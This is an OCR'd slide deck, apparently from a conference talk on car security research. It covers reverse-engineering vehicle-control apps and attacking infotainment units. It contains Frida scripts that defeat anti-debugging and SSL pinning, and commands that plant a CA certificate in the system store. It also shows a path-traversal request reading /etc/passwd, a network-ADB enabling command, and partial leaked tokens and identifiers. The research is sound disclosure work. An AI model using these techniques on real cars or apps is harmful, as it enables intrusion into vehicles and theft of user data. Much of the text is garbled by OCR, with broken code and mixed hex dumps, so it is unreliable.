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Our Previous Research

BLE Link Layer Relay Attack HITBSecConf 2023

'»‘fThe Tragedy Of Bluetooth Low Energy
- Linfeng Xiao & Dalin Yang




Why be a car hacker?

What can car hackers do in reality ?

Ganwe Remote Gontrol any Gar ?




Part . Car security research without cars.

Part ll. From zero to root intelligent vehicles.

Part lll. Deconstructing Automotive Components to explore Vulnerabilities.
Part IV. A complete vehicle analysis case & Remote Attack chains.
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Gar security research without cars



ar security research without cars.

Ihe First and most important problen

New 2024 Audi New 2023 Audi New 2023 Audi

Q3 S line Premium Plus 45 TFSI A3 Premium quattro A3 Premium Plus quattro
$45,621est. (O $37,080 est. () $39,034 est. (D
34 mi away 34 mi away 34 mi away

Shop smarter.
Know your budget.

New 2024 Subaru See your buying power New 2024 Subaru

Forester AWD Forester Premium AWD
$27.232est. () $30,798 est. (D
0.7 mi away

0.7 mi away

New 2024 Subaru New 2024 Subaru New 2024 Subaru

Forester Premium AWD Forester Premium AWD Forester Premium AWD
$31,906 est. (i) $32,062 est. &) $32,053 est. &)
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Mobile phone Remote Control Car air conditioner

APP can remotely control the car

)
w''e

N i : | ]
N 2 i PR — -y oR27
1t !
EnEEEREER
4 : \ |
: | EE. (e

Or If there is vulnerability in car controls?
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Key Features of App App Control Car

« Remote Control

« BLE Ke)(‘(Some models can
move the vehicle via
Bluetooth. )
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https:/japp. ' n® Nifestyle/map/rgeo?vehicleld=3cdc559dc518419337809536400010108longitude=117.36168452178275&latitude=39.06586901

https:/lapp § ‘apifpe/map/resources/v/resource/around/summary?app_ver=5.25.0&language=zh-CN&app_id=10001&device_id=WqCas8niVIs

Att a C u r a C e O A p p https:/laps e Nifestyle/medal/getUserMedal?query_user_id=2750167888app_ver=5.25.08language=zh-CN&app_id=10001&device_id=WqCa4
htps:/ftsp o} vehicle/3¢cdc559dc51841933780953640001010/alarm_for_app?fieid=wti_alarm&lang=zh-cn8app_ver=5.25.0&app_Id=100018&

https:/tsp =y Trvs/weather/synthesis?vehicle_id=3¢cdc559dc51841933780953640001010&lang=zh-cn&app_ver=5.25.0&app_id=10001&devi

htps:/fap B / | /appfupdate_strategy?app_ver_code=5068&0s_ver=348os=android&module=im&model=2304FPNEDCAbrand=Xiaomi&app_ver=t
https:/lapp™ } o Tos/community/vl/whitelist/checkZapp_ver=5.25,0&language=zh-CN&app_id=10001&device_id=WqCasBnIVIEYDrVolfcnPUNOQven)
https:/fapp. B /' Jbosicommunity/vi/subscribe/check?app_ver=5.25.0&language=2h-CN&app_Iid=10001&device_id=WqCasB8niVISYDrVofcnPUNOve

https://app Jusommunity_crn/squareffeed?count=08&app_ver=5,.25.0&language=zh-CN&app_id=10001&device_id=WqCasBnIVISYDrVolcnPUNOvce

https:/tsp.of /1/vehicle/3¢cdcb59dc51841933780953640001010/status ?field=hvac&field=door&field=connection&field=soc&field=light&field=al

Re,plou./ attoack

Horizontal Privile,se Escalation

. U horized
TFO\PP?Q O\V\O\IVSBS nautl oMzZe: AQQQSS

TSP Server Digital key Server

—————————————— Rl oz |

Sensitive Information Leok
decompile

\ >§q\ LAN control analt/sis

m LAN OTA omoxlysis
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APP Code Anti-analysis methods(Android version)

» Code Obfuscation « Dynamic load * Flutter

static { /* loaded from: classes9.dex x/
Tz.m1403a(); public class MQTTConstants {
Tz.m1402a(0); public static final String GROUP_ID;
1EAALE) pu:tj"c smic :ina{ i gnlbl g S
g public static final String o ; ihi 1 il ini
Izzzizggggg;; public static final String ATT_TOPIC = StubApp.getString2(22600); libimage_processing_util_jni.so
Tz.m1403a(); pubh..c statx..c fi..nal String AT_TOPIC = StubApp.getString2(22601); . |bﬂ tt
Tz.m1402a(0) ; public static final String COMM_TOPIC = StubApp.getString2(22599); IDTIUTLIer.so
Tz.m1403a(): pubh..c static final String GROUP_ID_OFFICIAL = StubApp.getString2(22616); 5
i aliBaatets public static final String GROUP_ID_TEST = StubApp.getString2(22617); libc++_shared.so
T2. m14023(0): pu:{ic static :ina‘t String ;(I)ﬁ_;(c):ég;lgtubg:pa;tﬂriggZ(Zzg?géu)
: public static final String z _ID = StubApp.getString 2 .
E:}:gggf?’ public static final String MQTT_SIGN_SCRET = StubApp.getString2(22622); libbarhopper_v3.so
Tz.ml 403a “: private static final String MQTT_URL_OFFICIAL = StubApp.getString2(22618); . .
Tr uid02a (883 private static final String MQTT_URL_TEST = StubApp.getString2(22618); libaudio.so
Tz.m14023(0): public static final String NEW_LOGIN = StubApp.getString2(22623); z
: s public static final String NOTIFY_TOPIC_LOGIN = StubApp.getString2(22597); . libapp.so
Tz.m1403a(); public static final String NOTIFY_TOPIC_LOGIN1 = StubApp.getString2(22598);
Tz.m1403a(); public static final String NOTIFY_TOPIC_UNLOGIN = StubApp.getString2(22603);
Tz.m1402a(0); public static final String NOTIFY_TOPIC_UNLOGIN1 = StubApp.getString2(22596);
Tz.m1402a(0); public static final String TOKEN_TOPIC = StubApp.getString2(22624);
Tz.m1403a(); public static final String TOPIC_CONTENT = StubApp.getString2(22625);
Tz.m1402a(0); public static final String TOPIC_START_OFFICIAL = StubApp.getString2(22619);
Iz-migggaz?H public static final String TOPIC_START_TEST = StubApp.getString2(22620);
zZ.m al);
Tz.m1402a(0);
Tz.m1403a();
Tz.m1402a(0);
Izmigggax' /* renamed from: a =/
T?:N%:(): 208 private static String m8725a(String str, boolean 2) {
3 » 209 String str2 = f22054c;
Tz.m1402a(0); 210 if (Build.VERSION.SDK_INT < 23) {
;Z-mi:gga:;; 212 str2 = str2 + str.hashCode();
Z.m a(o); }
Tz.ml403a(); return str2 + (2 7 " _64.s0" : ".s50");
Tz.m1403a(); }
g:}:gg::;; 262 public static String getString2(int i) {
Tz.m1402a(0): 263 String str = f22061j.get(Integer.valueOf(i));
. ’ 264 if (str == mull) {
Tz.m1403a(); 265 str = interfaceld(i);
} 266 £22061j.put(Integer.value0f(i), str);
)
268 if (str != mull &§ returnlntern) {
269 return str.intern();
}
271 return str;
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APP Code Anit-anti-analysis methods (Android version)

function hook_addr(addr, name) {
Interceptor.attach(addr, {
onEnter(args) {

Precompiled_Hmac_Hmac__7814 onEnter:

' @ 1 2 3 45 6 7 8 9 A B C D E F 0123456789ABCDEF

10c@afba9 ©3 6d 00 00 00 00 00 c@ fb Ga Oc 01 00 00 00 00

10c@afbb9 00 00 00 14 00 00 00 44 32 33 41 42 43 40 23 35 .......D23ABCE#5
this.log = [] 10c@afbc9 36 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 6......c0000000s
this.log.push(name + " onEnter:\r\n")
for(let i = 0; i < 8; i++) { e
try { Precompiled_Hmac_convert_37@42 onEnter:
this.log.push(hexdump(args[i]), "\r\n"); : @ 1 2 3 456 7 8 9 A B C D E F 0123456789ABCDEF
} catch (error) { 10c@afd79 07 6d 00 00 00 00 00 99 fd @a Oc 01 00 00 00 00 .M.....cvevennss
this 1og pUSh((argS[i]) "\r\n“) s locoafdsg aa 30 0@ ga 00 06 00 61 70 69 2e 78 78 78 2e 63 ------- api.XXX.C
3 z £ : 10c0afd99 6e 2f 78 78 78 78 2f 61 70 69 3f 70 68 6f 6e 65 n/xxxx/api?phone
} 10c@afda9 3d 31 33 38 30 30 31 33 38 30 30 30 26 74 78 79 =13800138000&txy
} 10c0afdb9 7a 6d 3d 26 75 72 69 3d 61 70 69 78 78 78 78 2f zm=&uri=apixxxx/
}, onLeave(retval) { 10c@afdc9 61 70 69 2f 75 73 65 72 2f 73 65 6e 64 73 6d 73 api/user/sendsms

this.log.push(name + " onLeave:\r\n")
try {

this.log.push(hexdump(retval), "\r\n");
} catch (error) {

10c@afdd9 63 6f 64 65 00 00 00 00 00 00 00 00 00 00 00 04

® & 0 ¢ o o

Precompiled base64Encode_5267 onEnter:

COUR: s e v aenanes

this. log.pushl(retval), "\r\n"); : © 1 2 3 456 7 8 9 ABG CD E F 0123456789ABCDEF

10c0b0789 03 6d 00 00 00 00 00 20 07 Ob OC 01 00 00 00 00 .M..vveeseenenss
} 10cObO799 00 00 00 28 00 00 00 6 41 84 fc 8b 76 4a 3 03 ...(....A...v]..
this.log.push(" =========") 10c0b07a9 a0 fe d9 2f e8 5d 85 Of ee 6d b2 00 00 00 00 04 .../.)eeuMeus.n.

console. log(this. log);

})

Dynamic Debugging®& Reading From
Memory

® 0.0.-6.00

,Precompiled____ base64Encode_5267 onLeave:

3 @ 1.2 '3 4.5 67 8 9 A'B C:D E F
10c0b@859 03 55 00 00 00 00 00 38 00 00 00 00 00 00 00 39

10c0b0869 6b 47 45 2f 49 74 32 53 76 4d 44 6f 50 37 5a 4c

10c0b0879 2b 68 64 68 51 2f 75 62 62 49 3d 00 00 00 00 00

Hooking

0123456789ABCDEF
B | P PR S
KGE/It2SvMDoP7ZL
+hdhQ/ubbI=.....
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Dex Protection

 Dex Protection

Package name

bangbang App hardening

Version code 230

File size 245 M
Signature V1+ V2
Protection BB I0E 1B K bR
Installed 2. il (230)
Data directory 1 /data/user/O/com!

Data directory 2
APK path
UID

/storage/emulated/O/Android/...
/data/app/~~Sam3BMtIT9MY?2...

10385

1. Dex packer and enc

classes.dex
24-03-06 18:40 90.83M

2. Anti-Hook

Spawned " com.w@es_ . == . Resuming main thread!
0] -> Process terminated

: [.i. a B
n B E?‘Zlg‘]_>

B

[-ZI

No Code .Not real dex fileDex code just a wrapper.

+ 9 com

- o secneo.apkwrapper

public class H {
public static String ACFNAME = "androidx.core.app.CoreComponentFactory”;
public static String APPNAME = "com. ,
public static String ARM_LIBRARY = "DexHelper”;
public static String HAVEX86 = "###HAVEX86###";
public static String HAVEX8664 = "###HAVEX8b64###",
public static String ISSOPHIX = "###SOPHIX###";
public static String ORI_AW_NAME = "com.secneo.apkwrapper.AW";
public static String PKGNAME = "com. :
public static String X86_LIBRARY = "DexHelper-x86";
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Dex unpack

bypass anti_hOOk classes9.dex

AR fES
com
amap.api
android.vending.expansion.zipfile
AU Wi
vowm Sw

bangcle

th e n h O O ki n g a n d bartoszlipinski.recyclerviewheader2
dump real dex file from Tasngi

bumptech.glide

m e m O ry chad. library

coloros.ocs.carlink.inner
contrarywind

daasuu.p@@2bl
daimajia.numberprogressbar
danikula.videocache
davemorrissey. labs.subscaleview
dovar.dtoast

egaosu

facebook. rebound

.-

flw
fri.service
ghl.ghdownload
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APP Dynamic Anti-analysis methods and Anit-anti-analysis methods(Android)

» Anti-Debuging&Hooking

Spawned " com.m#esl_ == . Resuming main thread!
0] -> Process terminated

g n.zi‘]->'

) [IQI = s =
B

=

[-

Debug or Hook Detection

call pthread_create...

The thread function address is 0xc0512129
The libmsaoaidsec.so base 0xc0501000
pthread_create called from:

0xc05123fd libmsaoaidsec.so!0x113fd
Oxc@511ab7 libmsaoaidsec.so!0x10ab7
Oxc@511bcl libmsaoaidsec.so!0x10bcl
Oxc050d5b9 libmsaoaidsec.so! _init+@xlac
0xec63662b0

Process terminated
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)

APP Dynamic Anti-analysis methods and Anit-anti-analysis methods(Android)

» Anti-Debuging&Hooking

Spawned " com.msssl_ wsy . Resuming main thread!
[w"s « W] -> Process terminated
[ N E ] —

Debug or Hook Detection

call pthread_create...

The thread function address is 0xc©0512129
The libmsaoaidsec.so base 0xc0501000
pthread_create called from:

Oxc05123fd libmsaoaidsec.so!0x113fd
Oxc@511ab7 libmsaoaidsec.so!0x10ab7
Oxc@511bcl libmsaoaidsec.so!0x10bcl
Oxc050d5b9 libmsaoaidsec.so!_init+@xlac
Oxec63662b0

Process terminated

Find Dection thread and killed

function hook_func() {
var pthread_creat_addr = Module. findExportByName("libc.so", "pthread_create")
Interceptor.attach(pthread_creat_addr,{
onEnter(args){
console.log("call pthread_create...")
let func_addr = args(2]
console.log("The thread function address is " + func_addr)

let libmsacaidsec = Process.findModuleByName(" libmsacaidsec,s0")
if (libmsaocaidsec !'= null){
console.log("The libmsaocaidsec.so base " + libmsaoaidsec.base)
bypass_thread(libmsacaidsec)
}

console.log( 'pthread_create called from:\n'
+ Thread.backtrace(this.context, Backtracer.ACCURATE)
.map (DebugSymbol. fromAddress)
.join('\n')
+ '\n');
}
})
}

function bypass_thread(module) {

Interceptor.replace(module.base.add(0x00011128+1), new NativeCallback(function() {
console.log("0x00011129 replace success!!!")
b, 'void', [1))

esktop/jumpAntl1.]s
Frida 14.2.17 - A world-class dynamic instrumentat

Commands:
help > Displays the help system
object? > Display information about 'objec
exit/quit -> Exit

. More info & https://frida.re/docs/home/
pawned " com " w=« . Resuming main thread!
Remote: :com. ‘

Remote: :com.);

Ramate: « ¢
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APP HTTPS Anti-analysis methods (Android)

» SSL-Pinning/Proxy Check/User’ s CA cert is not trusted

SSL B F KM

| BRI |
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APP Anit-anti-analysis methods(Android)

Bypass SSL-pinning

v IR MR ] SRR W MM AT P AR T TT R MW AW A& WITAT W SR R MITMI WAW o R ATITITANIY Wy MG sy

v const trustManagerImplCheckTrustedRecursiveCheck = (ident: string): any | undefined => {
return wraplavaPerform(() => {
try {

const arrayList: ArrayList = Java.use("java.util.ArrayList");

const trustManagerImpl: TrustManagerImpl = Java.use("com.android.org.conscrypt.TrustManagerImpl");
send (

c.blackBright( Found com.android.org.conscrypt.TrustManagerImpl, * +
‘overriding TrustManagerImpl.checkTrustedRecursive()'),

// https://android.googlesource.com/platform/external/conscrypt/+/1186465/src/

// platform/java/org/conscrypt/TrustManagerImpl. java#391

const TrustManagerImplcheckTrustedRecursive = trustManagerImpl.checkTrustedRecursivek
// tslint:disable-next-line:only-arrow-functions

v TrustManagerImplcheckTrustedRecursive. implementation = function (certs, host, clientAuth, untrustedChai

trustAnchorChain, used) {
gqsend(quiet,
c.blackBright(" [${ident}] ") + "Called (Android 7+) ' +
c.green('TrustManagerImpl.checkTrustedRecursive()') + ', not throwing an exception.’,
H

// Return an empty list
return arrayList.$new();

return TrustManagerImplcheckTrustedRecursive;

Objection Hooking
TrustManager

s W WA T WRT O WERT ST W R R T e

console. log("[+] Loading our CA...")

var c¢f =CertificateFactory.getInstance("X.509");

tryd

var fileInputStream =FileInputStream.Snew("/data/local/tmp/cert-der.crt");

}

catch(err){

console. log(" [o] "+ err);

}

var bufferedInputStream =BufferedInputStream.Snew(fileInputStream);

var ca = cf.generateCertificate(bufferedInputStream);
bufferedInputStream.close();

var certInfo =Java.cast(ca, X509Certificate);

console.log{" (o) Our CA Info: "+ certInfo.getSubjectDN());

// Create a KeyStore containing our trusted CAs

console.log({" [+] Creating a KeyStore for our CA...");

var keyStoreType =KeyStore.getDefaultType();

var keyStore =KeyStore.getInstance(keyStoreType);

keyStore. load(null,null);

keyStore.setCertificateEntry("ca", cal;

// Create a TrustManager that trusts the CAs in our KeyStore

console.log("[+] Creating a TrustManager that trusts the CA in our KeyStore...");
var tmfAlgorithm =TrustManagerFactory.getDefaultAlgorithm();

var tmf =TrustManagerFactory.getInstance(tmfAlgorithm);

tmf.init(keyStore);

console.log(" [+] Our TrustManager is ready...");

console.log("[+) Hijacking SSLContext methods now...")

console.log("[-]) Waiting for the app to invoke SSLContext.init()...")
SSLContext.init.overload(" [Ljavax.net.ssl.KeyManager;"," [Ljavax.net.ssl.TrustManager;","java.security.SecureRan:
console.log(" (o) App invoked javax.net.ssl.SSLContext.init...");
SSLContext.init.overload(" [Ljavax.net.ssl.KeyManager;"," [Ljavax.net.ssl.TrustManager;","java.security.SecureRan(

console.log("[+] SSLContext initialized with our custom TrustManager!");
!

Use Frida Hooking KeyStore
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APP Anti-analysis methods and Anit-anti-analysis methods(Android)

Bypass Proxy Dection

255 Ee. -
z Postern
¥ Import Proxy/Rule
OwProxy
A Rules
& Proxy Group
|BHosts
o DNS
Q Shiffer

O+VPN On

OAC-JLJ.’.

Use VPN as

Proxy or Hooking

Set User CA Cert as System Cert

't read tli

cp /apex/com.android.conscrypt/cacerts/* /data/local/tmp/tmp-ca-copy/

mount -t tmpfs tmpfs /system/etc/security/cacerts

mv /data/local/tmp/tmp-ca-copy/* /system/etc/security/cacerts/
in. so v

mv SCERTIFICATE_PATH /system/etc/security/cacerts/

chown root:root /system/etc/security/cacerts/*
chmod 644 /system/etc/security/cacerts/*
chcon u:object_r:system_file:s@ /system/etc/security/cacerts/*

e & A 1 4
= A r A

ZYGOTE_PID=$(pidof zygote || true)
ZYGOTEG4_PID=3S(pidof zygoteb4 || true)

*https://httptoolkit.com/blog/android-14-install-system-ca-certificate/
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APP HTTPS Anit-anti-analysis methods(Androi

3615 00001010 22 70 61 74 74 65 72 6e 5c 22 3a 20 5¢c 22 68 74 |"pattern\™: \"ht|

htps://sengl 5.r sa?project 3616 00001100 74 70 73 3a 2f 21 6d 2d 64 65 72 63 75 72 79 2¢ |tps://m-mercury.|
htps:/japp g /appikey_value_config?key=join_nio&app_ver=5,25 0&language=2h-CNA&app_id=10001&device_id=WqCasBnlVISYDrVolcnPUNOvenBLYPS&region=CN&lang=zh-cn&app 3617 00001110 Ge 69 6f 2e 63 6f 6d 5S¢ 22 20 7d 2c 20 7b 2@ 5¢ ! < \
= 3618 00001120 74 S5c 22 76 65 72 73 69 6f Ge 5¢ 22 3a 20 5c 22 |t\"version\": \"|
https://fapp s i slifestyle/follow/followCount?app_ver=5.25.08language=zh-CN&app_id=10001&device_id=WqCasB8niIVISYDrVolfcnPUNOvenjBLY P &region=CNAlang=zh-cnlapp_¢ 3619 00001130 35 2e 32 31 2e 30 Sc 2 2¢ 20 S5c 74 S5¢ 22 70 61 |5.21.0\", \t\“pa|
hitps:/ftsp a1 fvehicle/3cdc559dc5 184 19337809538400010 10/status Mield=hvacAfield=doorafield=connection&field=socafield zlight&field=alarm&field=tyre_alarm&fisld=target_temp 3620 00001140 74 74 65 72 6e 5c 22 3a 20 5c 22 6d 6f 64 75 6¢c  |ttern\™: \"modul|
nips://a B /account/user/profiles?a r=5.25.08la e=2h-CN&a d=10001&device_id=WqCasS8nIVISYDrVofcnPUNOven|BLYPO&region=CN&la zh-cnia channel=xiaom 041 00001150 63373130 .30 30 39 3¢ 2220 70 34 22 2¢ 22 64  |€10000\" 21", "]

< e o Vers an =zh-C! g= Vi a= : ! : on= =2h- =X ]
oo i s R e PR - b, . o PR 3622 00001160 61 6¢c 6¢c 5f 6c 61 61 64 Sf 6f 70 74 5 73 77 69 |all_load _opt_swi|
82 https:/fisp \/2/rvs/weather/synthesis?vehicle_id=3cdc559dc518419337809536400010108lang=zh-cnapp_ver=5.25 0&app_Id=100014&device_id=WqCasBniVISYDrVofcnPUNOven|B 3623 00001170 74 63 68 22 32 74 72 75 65 2¢ 22 6e 61 76 69 67 |tch™:true,"navig)
83 https:/japp i/ 1/Mestyle/medal/getUserMedal?query_user_id=275016788&app_vers5.25.08languageszh-CNaapp_id=10001&device_id=WqCas8niVISYDrVolenPUNOven|BLY P9&region 3624 00001180 61 74 69 6T be 62 61 72 57 69 73 4e 65 77 65 72 |ationbar_isNewer |
3625 00001190 22 3a 66 61 6¢c 73 65 2¢ 22 70 65 72 6d 69 73 73 |“:false,"permiss|
84 hips:/fsp pi/1/vehicle/3cdc559dc518419337808563640001010/alarm_for_appeid=wti_alarm&lang=zh-cniapp_ver=5.25 0&app_id=10001&device_id=WqCasB8nIVISYDrVolcnPUNOY 3626 00001180 69 6 6e 53 77 69 74 63 68 22 33 74 72 75 65 2¢  |ionSwitch":true, |
85 https:/tsp pif2/rvs/weather/synthesis?vehicle_id=3cdc559dc518418337809536400010108lang=zh-cnlapp_ver=5.25 0&app_id=10001&device_id=WqCasBniVISYDrVofcnPUNOven|B 3627 090011b0 22 6¢c 67 5T 74 6f 6b 65 6e 5fF 73 74 61 74 73 St  |"\g_token_stats_|

3628 000011cd 73 61 6d 70 B¢ 65 22 3a 31 30 30 2¢ 22 77 65 62 |sample™:100,"web|

3629 00001100 57 6f 66 66 6¢c 69 62 65 57 75 73 65 51 76 33 22 | _offline_use_v3"|
87 Mips:/Nisp = pl/2/rvs/weather/synthesis?vehicle_id=3cdc559dc51841933780953640001010&8lang=zh-cndapp_ver=5.25.08a0pp_id=10001&device_id=WaCasBniVISYDrVofecnPUNOven|B8 3630 000011e® 32 74 72 75 65 2¢ 22 7 72 65 6¢ 6f 61 64 Sf 73 |:true,"preload_s|

L 4 =

3631 00001110 77 69 74 63 68 22 3a 74 72 75 65 2¢ 22 6¢ 65 67 |witch":true,”leg|
3632 00001200 6f Sf 74 68 72 65 61 64 5 73 77 69 74 63 68 22 |o_thread_switch”|
GET 2000k UPS . nt?app_ver=5.25.08ianguage: NG&apy ' aoevice_jd=wals IO VOrVOICFUNGA Lo 3633 00001210 3a 74 72 75 65 2c 22 6e 61 76 69 67 61 74 69 6f |:true,“navigatio|
el e etonedo SINOOR SNSRI 3634 00001220 6¢ 62 61 72 5f 64 65 65 70 6c 69 6e 6b 5f 6b 69 |nbar_deeplink_ki|

3635 00001230 6c 6c 65 64 22 3a 66 61 6C 73 65 2¢ 22 6¢ 67 4d | lled":false,”1gM|
3636 00001240 69 67 72 61 74 65 22 3a 74 72 75 65 2c 22 66 6¢c |igrate™:true,“fl|
" ] 3637 00001250 61 61 74 51 77 69 6e 64 6f 77 ST 6d 69 67 72 61 |oat_window_migra|
' 4 D 11734 3638 00001260 74 65 5f 6c 67 22 3a 66 61 6c 73 65 2c 22 77 68 |te_lg":false,“wh|

868 https:/Nbst somfioc?rsaz18&c=14amars=1

Request Query Body IA{E Raw Jummary Comment - Response Heade o! kie Raw Treeview - Y

opaiten aaio 3639 00001270 69 74 65 5f 73 63 72 65 65 6e 57 73 77 69 74 63 |ite screen_switc|
Authorization Bearer 2.02WxUcyYERzdVplbvgXt4RstwTaZxEo++aKIcINNOh7 o= iy PRSGANED, WA .00, SR NCTA.I0 1 SEI A8 L LT DTSR ST IS UMy Y
) nt™: 3641 00001290 77 69 74 63 68 5f 61 6e 64 72 6f 69 64 22 3a 74 |witch_android“:t|

Host ‘foll ount™: 1 3642 00001200 72 75 65 2¢c 22 6d 61 6 6c ST 73 68 61 77 ST 6¢  |rue,"mall_show_ 1|
Connection Keep-Alive *publish ‘1 @ 3643 Q0001200 6f 61 64 57 74 69 6d 65 22 3a 66 61 6¢ 73 65 2¢ |oad_time":false, |
Accept-Encoding gzip “colle 3644 000012¢0 22 75 73 65 5f 70 65 72 6d 69 73 73 69 6f 6e 57 |“use_permission_|
Kkox20pc BcleEONRYONSexOTOdAV- 3645 00001200 77 69 64 67 65 74 22 3a 74 72 75 65 2¢c 22 73 68 |widget“:true,“sh|
CQcOjOFUFssN2SOYyDh1ZZVRIOONS 2i49axEInGody 7 3kf_GavirsHdS ‘message”: 3646 000012¢0® 6Ff 77 43 61 74 65 67 6f 72 79 45 Ge 74 72 79 22 |owCategoryEntry™|

C09QbSf2Beqzn0ul 5Qa_BiLWaxHBGrO67 cHstnJhcRrVgkX8ubuncECH reques {* . - _ 3647 Q0001210 32 74 72 75 65 2¢ 22 6d 71 74 74 51 75 70 64 61 |:true,"mqtt_upda)
;”3:5’7;0*;5393“38bﬂ°v='°"NJGB'v’W’b—BWOHV"bgL*'9399“?9 3648 00001300 74 65 51 73 77 69 74 63 68 22 32 74 72 75 65 7d |te_switch™:true}|
.1(.28_:L:nugﬂ;',3}'bglf'guL'nPGQECvTScBGvBOQ'lBQnFYSF’NW;:B?FI.M 3549 00001310 7d 5d 2c 22 72 65 71 75 65 73 74 51 69 64 22 3a |}),"request_1d":|
-bjsZOUGRKxXVQONITpTOAVBpvIcd43YsILB7DgvawdzBSZ0nQEQTFI2H 3650 00001320 22 6d 6b 2d 43 6f 4f 48 4c 6d 58 6d 75 44 6f 42 | "mk-CoOHLmXmuDoS |

2ZL60qPLDIMWXE|7VESDOOPGIWIIDFP- 3651 00001330 75 41 4c 46 61 6b 6b 22 2c 22 70 61 74 68 22 3a |uALFakk","path":|
;BD9SYUX‘:{'S?;Z‘C:?(';')Ga"\;-""“j*b'““v"570L”‘SXGVY- 3652 00001340 22 2f 76 31 2f 70 69 70 65 73 2f 63 6f 6e 66 69 |"/vi/pipes/confi|
F;kJ;Q‘J’y:?:lYDOZHchB;Oam-?mefoc_ilvhuhACcAOdGH‘!_'r\AZ'.'wM;f)( M3 NN 67732002 MAET TR G N2 ICR NG (ge-dy-growm, e

_psD2qZglFzulUw7CVgBOIf 33WDIMAS TmewNmitfCpiRZrfZ_CJENG- 3654 Q0001360 72 76 65 72 5T 74 69 6d 65 22 328 31 37 30 39 36 |rver_time":17096|

QrvFHXNZIVXIABYdbAPRsIVTex 1GpT SXLgyyAP 2uH7 Gc 2B8keDWwhXB 3655 00001378 31 39 32 35 38 2c 22 74 78 Sf 69 64 22 3a 22 35 |19258,"tx_id":"5|

3656 00001380 35 37 33 66 30 37 64 36 63 64 64 34 37 30 37 62 |573107d6cdd47e7b)

Use VPN
Set System CA Cert

Hoo K KeyStO re *https://github.com/gojue/ecapture

use ecapture®™



Gar security research without cars.

Some Interesting cases

LAN Album Path Traversal

tls_28 o mowmm s o 18 UUID: 21 _m st mas wemme _0_1, Name:HTTPRequest, Type:1, Length:3¢
tls 280 v'mmile’ o = o=

HEAD /mnt/qnx/LoopVideo/DVR_RIGHT wfum m¢" " wma " ww.ts HTTP/1.1

Host: 192.168.49.1:7788

Accept-Encoding: gzip

Connection: close

Token: ey]1leHAiOjE3MDK2MTgxNE w “wiles Sule™ et =  Lillly mes geaile ™ imle X2 SOV SRem ol Temeibon] iwiVi
User-Agent: B Sempupt® 2wl A dom bt dasleg ok fef - 7 eeillieie  eetd/UKQ1.230804.001)

.
'_.i'! =

t1s_Zmseww smmm goow wm o' 2165226090 _RxCachedThreadS_0_1, Name:HTTPRequest, Type:1, Length:3¢
tls zw bk oe o m =

GET /mnt/gnx/../«./«./«./../€tc/passwd HTTP/1.1

Host: 192.168.49.1:7788

Accept-Encoding: gzip

Connection: close

Token: me™ wesm & Wt ) XNDYSIKRFVKIDRVOJIRCI6I LdXQ2FZ0G5SsVmY TWlmsmmmmn St cmiiy o o memll wowiVi
User-Agent: ssmmsgm o Vel by A =m s w -y 8 e smemilmsen 0 Build/UKQ1.230804.001)

MOQTT Server Losin Creden‘tials Leoked

l $SYS/#

Topic: device/heartBeat/( =

0

{

"cid":
“msgid":
“action": "cameraHeartBeat",
"data": {

™ 1-000000030271

062528 & TR A »-000000030271",

"423M M,

"locate_state": 1,
"new_latitude": “89% ¥ 83,

“latitude": 0N .,
"latd": 0,

"new_longitude": & 4 ¥0293,
"longitude": = E. =93,
"speed": 9,

“time"”: "ETRE Y,

"isLowF low": 1,

"mqttType": 9,

"status": {

-~

QoS:






What we thought were the test conditions

Disassemble the ECU
and extract the Firmware

The S‘ton/ ob de_l:ug inﬁ
and Pinding vulnerabilities

The actual situation of car testing : (

A =5 A

CCCCCC <

=37

CCCCC L«

Hu Yao Dong Wo De

Al IXE)

Y Mian D hsn Sheroeg Shang Haol

MR- EihE

‘Don't touch my car,
lest I cause harm

One of the research conditions:
the car cannot be dismantled



1/

'D’ Unable to extract firmware
K

The actual situation of car testing : (

hoardwore (

//‘\\ =,
= - Lo""‘
990

%)
@,%i
-------T-------

Vehicle, 3atewat/ Pirewall will
Bilter o(iagnos‘tic inFormation
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Common experience

 Devioper mode
 Escape to web browser
 Engineering mode



- - -

SEARCH € About device € About device
. Legal information Status
L) Easymode
h £ SHIRON Eer™ Legal information
L2 Accessibility '
N M number Device name
e Accounts odel numbe b
- Reset Android version hf@dcl number

System

Baseband version Android version

Devioper mode

Q Storage ’ Kernel version
@ Date and time 8_9"0 numbe‘r '

Gl Developer mode has been turned on
0 User manual =

SE for Android status

0 About device

SE for Android status

Only Way :Try single, multiple clicks, system version number,
system time, any inconspicuous place



Deviloper mode

Only Way :Try single, multiple clicks, system version number,
system time, any inconspicuous place

Result: But on cars, it's rare. We've only found it on a handful of cars.



Escape to web browser

 Use Chrome’s N Day to RCE

« Attack JS Bridge Interface

« Attack Android Component with Exported and BROWSABLE



Escape to web browser

There is no browser on the system, which is a common practice
among car companies and Internet manufacturers.

In fact, the browser is hidden, so how can we activate the
browser?



Escape to web browser

| accept the general terms and

conditions of use/

| accept the_Privacy Policy.

Pay

The Privacy Policy is a good entrance, and there will be official
websites of some manufacturers on the page.

We need to escape from it to a website such as Google/Github
so that we can redirect it to our own test page



’-----—----------—---—-

evoke hidden browser

’--------———----------——-----—-—---——--—————-———--------------———--—-—-------—---—

1. Search for

, e 3.Jump to
Privacy Policy i
/ 5 L

3?‘thub homepake

2. Suitable website
‘Por‘ QSCQPQ

4.60 To our Vulner‘axbih‘ty
't&S'tin? page

-—---—------—---—-—----------—---—-—--———-------------—----——-————-----—————---——’

T e A A AR R G R R S S SRR SRR TR R AR R B R S R R R R R R R R R S G e R S e e



Do some detection on the browser and try to use this as an entry point to attack.

CVE-2023-4357

The browser does not open the sandbox.
We can directly read /verdor/etc/passwd

Result: Our target car has this problem, but the browser of this car did not
have the appropriate EXP to get the shell.



Enginner mode

S

l I
i f
I I
8 !
! (oo - '
§ e USB B L .
: e ! Enter settings to open
. y - - adb mode and use USB
l iz | @G srm EFLR : A RRQRRAAE b
! - wmmme | , i : cable to connect.
2mc o= T
! 10... 5. “: DCy | , B changeAdb, i AZadb itz !
§ g (75 — ES - ]
i A 0. §
i i
! !

: { ) ol ISR A : T
4. Use dual USB-4 connections

enable network debugging : setprop service.adb.tcp.port 5555



From zero to root intelligent vehicles
Enginner mode

Enter *#060# on the Bluetooth phone keypad
of this car to enter engineering mode

Result : Our target car also has
engineering mode, but without the ADB
option.




Find new attack surfaces

 Three tried-and-true attack methods have failed.

* Re-organizing the attack surface, we noticed the



Why App Store

|' |
' ’
A

EE‘E%,JE

In China, there will be multiple different video or music subscription
platforms similar to Netflix. They will own the copyrights of different videos
and music.

Automobile manufacturers will not want to pay multiple times for the same
resource, so the first choice is to download the corresponding application.

